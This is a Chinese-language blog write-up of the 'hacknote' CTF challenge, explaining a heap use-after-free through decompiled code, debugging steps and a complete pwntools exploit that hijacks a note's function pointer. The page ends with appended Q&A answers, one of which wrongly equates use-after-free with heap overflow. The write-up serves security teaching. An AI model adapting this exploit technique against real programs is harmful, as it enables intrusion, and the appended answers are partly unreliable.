Use After Free

  • Author:ZERO-A-ONE
  • Date:2021-07-05

一、概念

Use after free:顾名思义,某块内存在释放后还能被用户使用;一般存在于,free后没有将指针置为NULL,导致野指针的存在

二、例题

2.1 hacknote

我们先检查一下这个程序

(base) syc@ubuntu:~/Desktop/unlink/hacknote$ checksec hacknote 
[*] '/home/syc/Desktop/unlink/hacknote/hacknote'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以发现没有开启PIE,给UAF的利用留下了漏洞

我们发现这是一题常规的菜单题

int sub_8048956()
{
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("Your choice :");
}
void __cdecl __noreturn main()
{
  int v0; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      v0 = atoi(&buf);
      if ( v0 != 2 )
        break;
      Delete();
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        print();
      }
      else
      {
        if ( v0 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v0 != 1 )
        goto LABEL_13;
      Add();
    }
  }
}

一共有四个功能:

  • Add:添加一个
  • Delete:删除一个
  • Print:打印
  • Exit:退出
2.1.1 Delete

我们看一下删除功能

unsigned int sub_80487D4()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*((void **)ptr[v1] + 1));
    free(ptr[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

我么可以发现free并没有将指针清零0,导致了野指针的存在,也就是存在Use After Free

2.1.2 Add

我们看一下Add的功能

unsigned int sub_8048646()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !notelist[i] )
      {
        notelist[i] = malloc(8u);
        if ( !notelist[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)notelist[i] = print_note_content;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = notelist[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)notelist[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)notelist[i] + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}
  • 先申请一个大小为8byte的chunk0,将其地址放入notelist[i]中
  • 再申请自己规定字节大小的chunk1,将其地址放入第一次申请的chunk0的content中
  • 第一次申请的8byte的chunk0的put处存放print_note_content函数地址content处存放第二次申请的chunk1的地址
  • 我们后面写内容是往第二次申请的chunk1中填写的

我们可以简单来看一下每一个 note 生成的具体流程

  1. 程序申请 8 字节内存用来存放 note 中的 put 以及 content 指针。

  2. 程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。

       +-----------------+                       
       |   put           |                       
       +-----------------+                       
       |   content       |       size              
       +-----------------+------------------->+----------------+
                                              |     real       |
                                              |    content     |
                                              |                |
                                              +----------------+
    

假设我们申请了一个32byte的chunk1,往里面填写’aaaa’,最终会达到这样一个效果
在这里插入图片描述

2.1.3 Print

print_note 就是简单的根据给定的 note 的索引来输出对应索引的 note 的内容

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
    notelist[v1]->put(notelist[v1]);
  return __readgsdword(0x14u) ^ v3;
}
2.1.4 调试

我们可以在0x8048A7C的位置设置一个断点查看,然后申请一个内存
在这里插入图片描述

然后可以发现我们成功申请了一个堆块,而且第一个内容指向了puts,第二个内容指向了我们的内容
在这里插入图片描述

因为没有开启PIE所以我们可以知道notelist[1]放在0x804A050里
在这里插入图片描述

在这里插入图片描述

然后我们将其释放掉
在这里插入图片描述

我们可以发现指针依然存在着
在这里插入图片描述

所以我们可以利用这个UAF

2.1.5 利用

那我们只需要劫持一个content的puts指针位就好

那么,根据我们之前在堆的实现中所学到的,显然 note 是一个 fastbin chunk(大小为 16 字节)。我们的目的是希望一个 note 的 put 字段为 magic 的函数地址,那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下

  • 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 释放 note0
  • 释放 note1
  • 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
  • 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
  • note2 其实会分配 note1 对应的内存块。
  • real content 对应的 chunk 其实是 note0。
  • 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数

常见的先编写函数

from pwn import *

r = process('./hacknote')


def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

在申请完资源后下一个断点,可以发现的确申请了两个大小为0x10的堆块,两个为0x28的堆块
在这里插入图片描述

然后在释放我们查看一下,都已经释放了加入fastbin的列表
在这里插入图片描述

我们可以知道

  • 0x87ef000:notelist[0].puts

  • 0x87ef010:notelist[1].puts

  • 0x87ef038:notelist[0].content

  • 0x87ef048:notelist[1].content

如果我们可以获得其中一个notelist的puts指针的修改我们就可以达到目标了, 根据分配规则我们可以知道只要我们申请一个大小为8的notelist,系统就会从fastbin列表中同时取出两个大小为0x10的chunk,届时:

  • 0x87ef010:new_notelist[0].puts
  • 0x87ef000:new_notelist[0].content

我们就可以通过新的notelist修改掉旧的notelist[0].puts,然后再利用之前notelist[0]的指针执行print功能就会调用新修改后的nnew_notelist[0].content,执行任意函数了
在这里插入图片描述

我们发现确实修改成特定地址了,完整的EXP如下:

from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
local = 1
elf = ELF('./hacknote')
if local:
    p = process('./hacknote')
    libc = elf.libc
else:
    p = remote('172.16.229.161',7001)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def addnote(size, content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)


def delnote(idx):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))


def printnote(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1
debug(0)
delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

p.interactive()
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 堆使用后释放错误(heap use after free)是指在程序中使用了已经被释放的堆内存。这种错误通常会导致程序崩溃或者出现不可预测的行为。为了避免这种错误,程序员需要在使用完堆内存后及时释放它,并且在释放后不再使用该内存。 ### 回答2: heap use after free是一种常见的内存使用错误,它指的是在使用堆内存时,释放了某个内存块,但后续又继续使用了该内存块。这种错误可以导致程序崩溃、数据损坏,甚至是安全漏洞。 通常,堆内存的分配和释放是由程序员负责的。在程序中,当需要动态分配一块内存时,通常使用malloc()函数,在使用完该内存块之后,需要通过free()函数来释放该内存块。但是,如果程序员在释放内存块之后,依然在程序中继续使用该内存块,则会发生heap use after free错误。 具体来说,当程序释放内存块时,操作系统会将该内存块标记为可用的状态,但是并不会真正销毁该内存块,这意味着该内存块中原有的数据可能还存在,但已经不再属于该内存块。如果程序员在已经释放了内存块的情况下,继续使用该内存块,则可能会覆盖该内存块原有的数据,导致数据损坏。此外,由于已经释放的内存块可能会被操作系统重复利用,这也可能会导致堆内存中存在未预期的数据。 为了避免heap use after free错误,程序员可以采取一些措施。首先,应该在使用内存块之前检查该内存块是否已经被释放,以确保不会继续使用已经释放的内存块。其次,在释放内存块之后,可以将指向该内存块的指针设置为NULL,以避免意外地继续使用该内存块。此外,可以使用一些内存检测工具,如Valgrind等,来帮助检测和排除heap use after free错误。 ### 回答3: Heap use after free(堆溢出)是一种常见的内存管理错误,它会导致程序崩溃或者安全漏洞。 当程序中使用malloc()、realloc()、calloc()等动态分配内存的函数后,程序会在堆区域内分配内存,同时也会记录该块内存的大小和地址等信息。而当程序中释放该块内存时,通过free()函数将其返回给操作系统并将相关记录清空,但是在程序中,如果继续使用已经释放的内存,就会导致Heap use after free错误。 通常,程序员在使用free()函数释放内存后,应该将指向该内存的指针设置为NULL,以避免后续误用该指针。否则,指针会指向之前释放的内存地址,后续再次访问该指针就会导致程序崩溃或者执行错误的操作。 堆溢出还可能是一些恶意程序攻击的手段。攻击者在程序中制造类似的堆溢出漏洞,以便在运行时利用该漏洞来执行恶意代码。这种攻击被称为堆溢出攻击(Heap Overflow Attack)。 对于企业和个人开发者来说,避免Heap use after free错误可以通过以下几个方面来做到。 1. 了解内存分配释放的细节,在编写程序时注意不要出现内存泄露、重复释放等问题。 2. 使用内存分配和释放函数时,必须正确地管理内存指针,不要造成内存泄露或者重复释放的问题。 3. 使用编译器的内存检查工具进行内存检查,如Valgrind、Clang、GCC等。 4. 在编写程序时,可以使用一些内存管理工具和库,如Boost库、STL库等。这些工具和库可以帮助程序员进行内存管理和错误检测,减少代码错误的可能性。 总之,了解和避免Heap use after free错误是编写高质量、可靠和安全的程序的必要条件之一。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值